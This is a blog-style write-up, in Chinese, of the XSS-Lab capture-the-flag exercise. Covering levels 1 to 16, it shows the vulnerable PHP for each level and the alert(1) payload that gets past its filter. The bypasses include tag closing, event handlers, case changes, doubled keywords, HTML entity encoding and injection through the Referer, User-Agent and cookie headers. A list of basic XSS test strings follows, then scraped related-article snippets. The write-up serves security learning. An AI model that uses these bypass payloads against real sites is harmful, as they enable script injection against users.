XSS-Lab(XSS注入笔记1-16)

article/2025/11/4 16:13:43

前言

本篇博客主要是记录笔者完成XSS-Lab步骤以及分析

题目链接:https://buuoj.cn/challenges#XSS-Lab

Github仓库:https://github.com/rebo-rn/xss-lab

出题人的题解:https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.docx

ps:仓库可以看代码即白盒测试

level1(直接注入)

在这里插入图片描述
我们发现网址后面有一个name的参数,猜测这里是否存在注入,我们先随便输入一个参数,例如name=kaptree,我们可以看到直接就显示欢迎kaptree

在这里插入图片描述

于是我们这里直接注入name=<script>alert(1)</script>

ok,成功注入

在这里插入图片描述

level2(闭合标签)

在这里插入图片描述
我们发现有一个输入框,于是先认为这里可以注入,填上keyword=<script>alert(1)</script>,我们发现并不能注入

在这里插入图片描述
我们直接看一下相应的源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

我们发现<input name=keyword value="<script>alert(1)</script>">这里他直接把我们输入的内容进行替换,于是我们通过"绕过,即keyword="><script>alert(1)</script>

在这里插入图片描述

level3(绕过htmlspecials()函数)

在这里插入图片描述
仍然先尝试level2的方式注入,发现并没有用,于是我们打开网页代码看看

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>

我们发现我们输入里面的标识符都被替换成了转义符,于是我们不能使用刚才的方式了,我们发现'没被替换,于是我们可以给当前的位置绑定一个点击事件:keyword=' onclick='alert(1) ,然后需要点击一下输入框

在这里插入图片描述

level4(onclick绕过)

在这里插入图片描述
尝试之前的注入方式,发现行不通,然后查看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和' οnclick='alert(1)相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="' οnclick='alert(1)">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:19</h3></body>
</html>

猜测是双引号的问题,于是:

keyword=" onclick="alert(1)

在这里插入图片描述

level5(绕过检测<script和on事件)

在这里插入图片描述
尝试之前的注入方式,发现并不能注入,此时查看返回的代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&quot; οnclick=&quot;alert(1)相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="" o_nclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:20</h3></body>
</html>

发现我们的onclick被过滤了,我们再试试之前的keyword="><script>alert(1)</script>,发现

<input name=keyword  value=""><scr_ipt>alert(1)</script>">

发现关键词也被过滤了,于是我们使用<a></a>标签绕过,即keyword="><a href="javascript:alert(1)" 然后点击一下图片或者下方的文字即可

在这里插入图片描述
在源文件中我们也可以看到,有一些关键字被过滤掉了,即<scripton

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

level6(大小写绕过)

在这里插入图片描述

同样,我们先尝试之前的注入方式

<input name=keyword  value=""><a hr_ef="javascript:alert(1)">

我们发现它把href也过滤了,于是我们直接明牌!,看一下它代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

我们发现,<scriptonsrcdatahref 这几个关键字被过滤掉了,因为是直接过滤的,而html中大小写是不敏感的,于是我们直接变一下大小写即可keyword="><a Href="javascript:alert(1) ,然后再点一下图片

在这里插入图片描述

level7(双写绕过标签过滤)

在这里插入图片描述

老样子,我们先试一下之前的注入,结果发现script直接被过滤了

<input name=keyword  value=""><a ="java:alert(1)">

我们打开源码看看

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里将keyword转为小写然后再直接过滤的了,那么我们可以嵌套一下,例如:

如果我们想得到script显然这里会直接替换掉关键字,那么我们就可以传入sscriptcript,这样被替换后就是我们想要的script了,同理href替换为hhrefref,即:keyword="><a hhrefref="javasscriptcript:alert(1)

在这里插入图片描述

level8(ASCII编码绕过)

在这里插入图片描述
我们使用上一个注入方式,发现这次没有对keyword做过滤,而是做了一个转义符的替换

<input name=keyword  value="&quot;&gt;&lt;a hhrefref=&quot;javasscriptcript:alert(1)">

没思路,于是看看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

我们发现两个地方可能存在渗透,第一个就是我们之前一直注入的input框,看了源码后发现没想到啥方法注入,反而是友情链接这里,我们发现$str7 只是做了一个简单的字符过滤,于是我们直接在这里将javascript:alert(1)中的字符使用HTML字符实体转换后注入即可:keyword=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

HTML字符实体转换器:https://www.qqxiuzi.cn/bianma/zifushiti.php

在这里插入图片描述

level9(必要字段+ASCII编码绕过)

在这里插入图片描述
先把上一个注入操作复刻一下,但是发现不合法

</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

于是我们打开源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

我们发现多了一个if(false===strpos($str7,'http://')),也就是说在传入的数据中需要含有http://,那我们直接放在alert中即可,于是得到:

keyword=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;('http://')

然后点一下这个 友情链接
在这里插入图片描述

level10(利用hidden参数传递数据)

在这里插入图片描述
直接看源码吧:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

我们发现注入点可能是t_sort,然后发现过滤了<>两个符号,那直接绑定onmouseover事件注入即可,注意的是这里的typehidden的,我们需要改一下,不然就点不到了,于是得到 t_sort=" onmouseover='alert(1)' type="text,当然绑定onclick事件也是可以的t_sort=" onclick='alert(1)' type="text

不同的是前者只需要鼠标移过去触发,后者需要点一下输入框

在这里插入图片描述

level11(REFERER注入)

在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

查看源码,我们发现,可能存在渗透的地方就是HTTP_REFERER,因为t_sort这里直接使用htmlspecialchars转义了,而$str33只是过滤了><,所以只需要携带一个注入的语句访问网站即可,于是我们这里使用hackbar然后访问目标网址即可,Referer:" onclick='alert(1)' type="text

然后鼠标点一下框就行

在这里插入图片描述

level12(USER_AGENT注入)

在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

看完源码后发现……(这里其实也可以不看源码,直接看html的返回的内容也能猜出),和上面差不多,只不过注入的位置变成了USER_AGENT,那么直接开注!

USER_AGENT:" onclick='alert(1)' type="text

在这里插入图片描述

level13(cookies注入)

在这里插入图片描述
看了一眼相应代码,猜测是cookies注入,于是冲一发:cookies:user=" onclick='alert(1)' type="text

在这里插入图片描述

然后成功注入~

level14(利用文件解析xss)

打不开这个,貌似是网站http://www.exifviewer.org/ 挂掉了,那就算过了吧~

看了一下作者的解法

在这里插入图片描述

level15

吐了,也打开不了,那个啥js加载不了了

level 16(回车替换空格)

在这里插入图片描述

找不到注入点,于是我们看看源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

原来是传入keyword然后过滤数据,只有这个注入点了,我们又发现script /这三个字符都被过滤了,于是我们考虑传入<a>标签,然后用%0a(换行符)代替空格,即keyword=<a%0aonclick='alert(1)'>

在这里插入图片描述

level17

寄,显示不出来,好像后面的都是这样

在这里插入图片描述

做题小结(出题人的)

做了20题(14题)下来,可以发现难度是依次上升的。
这里主要谈谈个人做题的一个基本思路。一般看到一道题目后,先观察题目的类型,猜想哪个地方哪个参数可能存在注入,也就是前期分析,往下是代码分析,具体分析网页的源代码甚至可以的话看看题目代码,可以加深对题目做了怎样的限制的认知,再往下,就是不断尝试,输入自己构造好的测试payload来做更多的判断。有的题目你可能一时找不到注入点,你可以用BURP抓包看看到底具体数据在哪个位置传输,有可能是HTTP头部的某一个字段也可能是正文部分。后面几道较难的是,这几题前提是你需要了解某些知识后才能做得出来,比如某某框架存在xss漏洞,或者某种文件解析可以解析xss等等,这时可以去乌云知识库去查查,一般都能找到对应的知识模块。
题目分析+测试语句+代码分析

基础测试语句:
'';!--"<XSS>=&{()}

<script>alert(/1/)</script>

<img scr=1 onerror="alert(/1/)">

<img src="javascript:alert('1');">

<a href="javascript:alert(1)">

绕过:大小写,编码,双写等等


http://chatgpt.dhexx.cn/article/c4JaIklE.shtml

相关文章

XSS注入原理以及一些绕过姿势

介绍 XSS——跨站脚本攻击。通过这个攻击手段&#xff0c;攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中&#xff0c;当用户浏览带有恶意代码的页面时&#xff0c;这些恶意代码会被触发&#xff0c;从而达到攻击的目的。可以说&#xff0c;XSS 是针对用户…

XSS注入基础入门篇

XSS注入基础入门篇 1.XSS基础概念2. XSS的分类以及示例2.1 反射型XSS2.1.1 示例1&#xff1a;dvwa low 级别的反射型XSS2.1.2 攻击流程 2.2 DOM型XSS2.2.1 示例2&#xff1a;DOM型XSS注入1.环境部署2.基础版本3.进阶绕过 2.3 存储型XSS2.3.1 示例1&#xff1a;dvwa low示例2.3.…

XSS跨站脚本注入详解

一、什么是XSS跨站脚本注入(XSS注入)? XSS(Cross-site scripting)注入是一种Web安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本,从而导致攻击者能够窃取受害者的敏感信息或者利用受害者的身份在应用程序上执行未经授权的操作。 攻击者通常会在受害者访问的Web页…

XSS注入

文章目录 前言一、XSS是什么&#xff1f;二、XSS的大致分类与利用思路1.反射型2.存储型3.DOM型 三、不同类型的XSS漏洞注入演示1.反射型xss2.存储型xss3.DOM型xss 三、XSS漏洞实战1.制作钓鱼网站获得用户的用户名和密码2.获取管理员的cookie 总结 前言 本篇文章详细讲解XSS漏洞…

XSS注入测试

XSS 全称(Cross Site Scripting) 跨站脚本攻击&#xff0c; 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时&#xff0c;脚本就会在用户的浏览器上执行&#xff0c;从而达到攻击者的目的. 比如获取用户的Cookie&#xff0c;导…

MySQL和Navicat的安装与配置

mysql和navicat的安装与配置 MySQL的安装与配置Navicat的安装与配置 安装下载&#xff1a; MySQL下载 Navicat下载 MySQL的安装与配置 将mysql文件夹转移到自己想放置的路径下 复制mysql的bin路径 打开环境变量配置 右击【此电脑】&#xff0c;打开【属性】&#xff0c;打开…

手把手教你安装MySQL+Navicat

本文为个人于 Windows10&#xff08;64位&#xff09;操作系统下 安装MySQL&#xff08;版本号&#xff1a;8.0.18&#xff09;和Navicat&#xff08;版本号&#xff1a;12&#xff09;的过程记录&#xff0c;希望也能给你带来帮助。 目录 一、MySQL的安装1. 卸载电脑上已有版…

MySQL+Navicat 下载、安装教程(Windows)

目录 前言MySQL下载安装验证 Navicat下载安装配置 前言 MySQL 在过去由于性能高、成本低、可靠性好&#xff0c;已经成为最流行的开源数据库&#xff0c;因此被广泛地应用在 Internet 上的中小型网站中。随着 MySQL 的不断成熟&#xff0c;它也逐渐用于更多大规模网站和应用。—…

Navicat15安装使用

本安装流程适合各个版本Navicat安装 从网络下载Navicat及注册机 点击这里 链接: https://pan.baidu.com/s/1Fh4BMQF3PlUMT4_RlfBt0A?pwdph2h 提取码: ph2h 1.删除系统自带的杀毒软件&#xff0c;例如360&#xff0c;电脑管家&#xff0c;Windows Defender window10的 Windo…

MySQL下载安装教程及Navicat安装教程

一、MySQL下载安装 1.MySQL下载官网:https://dev.mysql.com/downloads/mysql/ 2. 将mysql-8.0.27-winx64文件解压&#xff08;例如路径为D:\mysql-8.0.27-winx64&#xff09;&#xff0c;如下图 3.设置PATH环境变量为D:\mysql-8.0.27-winx64文件夹的bin文件夹 4.运行cmd&#…

Navicat Premium 简介、安装、使用

Navicat 官网&#xff1a; http://www.navicat.com.cn/ 简介&#xff1a; Navicat Premium 是一套数据库开发工具&#xff0c;让你从单一应用程序中同时连接 MySQL、MariaDB、MongoDB、SQL Server、Oracle、PostgreSQL 和 SQLite 数据库。它与 Amazon RDS、Amazon Aurora、…

Navicat Premium的下载及安装

文章目录 前言一、下载二、安装三、注册写在最后 前言 Navicat是开发人员常用的一款数据库管理工具&#xff0c;适用于Microsoft Windows、Mac OS及Linux平台&#xff0c;针对各类数据库都有相应的产品&#xff0c;快速、可靠而且价格相当便宜。 如Navicat Premium是一个可多重…

Mac系统安装MySQL连接Navicat(手把手,超详细)

Mac系统安装MySQL 在下载安装包之前&#xff0c;看一下自己下载哪个版本&#xff1a; uname -a我直接在官网下载的 -> MySQL官网下载网址 因为直接在官网下载的&#xff0c;所以运行安装包的时候会显示这个&#xff1a; 桌面左上角点击苹果logo&#xff0c;在系统偏好设…

史上最详细、最良心的MySQL 5.7 + Navicat 下载安装教程(附安装包)

这怕是史上最详细&#xff0c;最良心的MySQL5.7下载安装教程了&#xff0c;文末还有Navicat下载安装加破解的教程。 一、下载 1、可以去官网下载:https://dev.mysql.com/downloads/mysql/5.7.html#downloads 2、通过我的百度网盘下载 链接&#xff1a;https://pan.baidu.com…

Navicat安装

一、 下载Navicat安装包 通过navicat官网下载 二、手把手教你安装Navicat 1.双击下载好的Navicat 安装包&#xff0c;弹出安装向导&#xff0c;选择下一步 2.阅读用户许可协议&#xff0c;同意请勾选“我同意”&#xff0c;并选择“下一步”。 3.选择程序安装路径。 4.默认&…

Navicat Premium 15 安装教程

安装教程 1.鼠标右击【Navicat Premium 15(64bit)】压缩包&#xff08;win11及以上系统需先选择“显示更多选项”&#xff09;选择【解压到 Navicat Premium 15(64bit)】 2.打开解压后的文件夹&#xff0c;鼠标右击【setup】选择【以管理员身份运行】 3.点击【下一步】。 4.选…

MySQL 安装及配置 Navicat 工具

MySQL安装&#xff08;压缩包&#xff09; 下载 按照自己电脑下载对应的安装包 压缩包下载地址 配置文件 解压后在文件夹中添加并配置 my.ini 文件&#xff08;更改为自己的安装目录&#xff0c;data文件夹自行创建&#xff09; [mysql] # 设置mysql客户端默认字符集 def…

Navicat12安装教程

基于mysql5.5安装Navicat12 mysql5.5下载&#xff1a;https://download.csdn.net/download/Afei_han/20582930 Navicat下载&#xff1a;https://pan.xunlei.com/s/VMfgC2p4JQZC4qEaLine8GnDA1 提取码&#xff1a;8bwd 解压出来有这4个双击点开Navicat12.exe程序 点击下一步 选…

Navicat Premium 16安装方法

下载Navicat_Premium_16.0.13_x64 1&#xff0c;安装&#xff0c;成功之后不要打开 2&#xff0c;断网 3&#xff0c;把一个dll、一个pem、一个keygen.exe都拷贝到安装目录C:\Program Files\PremiumSoft\Navicat Premium 16 4&#xff0c;打开软件&#xff0c;在keygen中生成s…

Navicat的安装与mysql数据库的连接保姆级教程

概述 上节写了mysql的安装与使用的详细方法&#xff0c;接下来为大家介绍Navicat的安装与mysql的连接。 Navicat的安装 一.软件下载 网盘提取链接&#xff1a; https://pan.baidu.com/s/1TXOIX0DqNKPOIF7jmC2IQg 提取码&#xff1a; 52uq 二.安装步骤 打开下载好的文件夹&am…